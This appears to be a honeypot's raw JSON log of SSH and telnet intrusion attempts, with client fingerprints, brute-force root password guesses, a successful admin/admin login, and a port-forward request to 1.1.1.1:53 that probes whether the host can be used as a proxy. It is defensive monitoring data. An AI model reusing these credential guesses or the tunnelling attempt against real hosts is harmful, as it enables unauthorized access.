{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:11:14.657091Z","src_ip":"103.195.236.96","session":"2ff554f53246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1981","message":"login attempt [root/1981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:11:15.381931Z","src_ip":"103.195.236.96","session":"2ff554f53246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:11:16.624299Z","src_ip":"103.195.236.96","session":"2ff554f53246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59384,"dst_ip":"159.203.135.109","dst_port":22,"session":"365be0944aea","protocol":"ssh","message":"New connection: 167.172.81.52:59384 (159.203.135.109:22) [session: 365be0944aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:11:19.744854Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:11:19.753863Z","src_ip":"167.172.81.52","session":"365be0944aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:11:19.757997Z","src_ip":"167.172.81.52","session":"365be0944aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.7403130531311,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:11:24.297642Z","src_ip":"152.42.224.71","session":"ee0278efe0de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36820,"dst_ip":"10.17.0.5","dst_port":23,"session":"a36808065caf","protocol":"telnet","message":"New connection: 152.42.224.71:36820 (10.17.0.5:23) [session: a36808065caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:11:26.866601Z"}
{"eventid":"cowrie.session.closed","duration":42.18587851524353,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:11:34.225224Z","src_ip":"152.42.224.71","session":"755a58038e1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42240,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f7fa24c8287","protocol":"telnet","message":"New connection: 152.42.224.71:42240 (10.17.0.5:23) [session: 3f7fa24c8287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:12.053038Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":35814,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c54cca5c462","protocol":"ssh","message":"New connection: 103.173.227.57:35814 (159.203.135.109:22) [session: 5c54cca5c462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:14.165502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:14.170768Z","src_ip":"103.173.227.57","session":"5c54cca5c462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:14.410170Z","src_ip":"103.173.227.57","session":"5c54cca5c462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tktyf","message":"login attempt [root/tktyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:15.130666Z","src_ip":"103.173.227.57","session":"5c54cca5c462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:16.376823Z","src_ip":"103.173.227.57","session":"5c54cca5c462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.530187129974365,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:17.396677Z","src_ip":"152.42.224.71","session":"a36808065caf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":45724,"dst_ip":"10.17.0.5","dst_port":22,"session":"312e78c272cc","protocol":"ssh","message":"New connection: 62.133.62.83:45724 (10.17.0.5:22) [session: 312e78c272cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:24.676598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:24.684013Z","src_ip":"62.133.62.83","session":"312e78c272cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:24.845515Z","src_ip":"62.133.62.83","session":"312e78c272cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dolphin","message":"login attempt [root/dolphin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:26.930375Z","src_ip":"62.133.62.83","session":"312e78c272cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:28.014201Z","src_ip":"62.133.62.83","session":"312e78c272cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":56568,"dst_ip":"10.17.0.5","dst_port":22,"session":"188e932a95af","protocol":"ssh","message":"New connection: 103.27.238.120:56568 (10.17.0.5:22) [session: 188e932a95af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:37.092281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:37.097309Z","src_ip":"103.27.238.120","session":"188e932a95af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:37.380824Z","src_ip":"103.27.238.120","session":"188e932a95af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fallout","message":"login attempt [root/fallout] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:38.234671Z","src_ip":"103.27.238.120","session":"188e932a95af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:39.521897Z","src_ip":"103.27.238.120","session":"188e932a95af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58340,"dst_ip":"10.17.0.5","dst_port":22,"session":"d90dcbe70e83","protocol":"ssh","message":"New connection: 87.251.64.176:58340 (10.17.0.5:22) [session: d90dcbe70e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:44.800195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:44.805232Z","src_ip":"87.251.64.176","session":"d90dcbe70e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:44.902600Z","src_ip":"87.251.64.176","session":"d90dcbe70e83","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:45.196674Z","src_ip":"87.251.64.176","session":"d90dcbe70e83","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:45.297166Z","session":"d90dcbe70e83","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:45.396343Z","src_ip":"87.251.64.176","session":"d90dcbe70e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:45.630113Z","src_ip":"87.251.64.176","session":"d90dcbe70e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.299156665802,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:48.352069Z","src_ip":"152.42.224.71","session":"3f7fa24c8287","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55099,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a3e087f4040","protocol":"ssh","message":"New connection: 152.42.212.128:55099 (159.203.135.109:22) [session: 1a3e087f4040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:50.508513Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:50.516422Z","src_ip":"152.42.212.128","session":"1a3e087f4040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:12:50.519604Z","src_ip":"152.42.212.128","session":"1a3e087f4040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38454,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbcb946f4aba","protocol":"telnet","message":"New connection: 152.42.224.71:38454 (10.17.0.5:23) [session: bbcb946f4aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:13:01.554928Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47946,"dst_ip":"10.17.0.5","dst_port":23,"session":"f58606d04098","protocol":"telnet","message":"New connection: 152.42.224.71:47946 (10.17.0.5:23) [session: f58606d04098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:13:11.354426Z"}
{"eventid":"cowrie.session.closed","duration":10.292285203933716,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:13:11.847080Z","src_ip":"152.42.224.71","session":"bbcb946f4aba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57936,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca49b1f94487","protocol":"ssh","message":"New connection: 194.59.206.2:57936 (10.17.0.5:22) [session: ca49b1f94487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:13:25.441536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:13:25.449073Z","src_ip":"194.59.206.2","session":"ca49b1f94487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:13:25.533978Z","src_ip":"194.59.206.2","session":"ca49b1f94487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:13:25.710306Z","src_ip":"194.59.206.2","session":"ca49b1f94487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45144,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecf03fd077a4","protocol":"telnet","message":"New connection: 152.42.224.71:45144 (10.17.0.5:23) [session: ecf03fd077a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:13:45.919566Z"}
{"eventid":"cowrie.session.closed","duration":42.72230315208435,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:13:54.076618Z","src_ip":"152.42.224.71","session":"f58606d04098","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":55134,"dst_ip":"10.17.0.5","dst_port":22,"session":"27fedd310118","protocol":"ssh","message":"New connection: 147.45.199.80:55134 (10.17.0.5:22) [session: 27fedd310118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:14:05.673056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:14:05.677700Z","src_ip":"147.45.199.80","session":"27fedd310118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-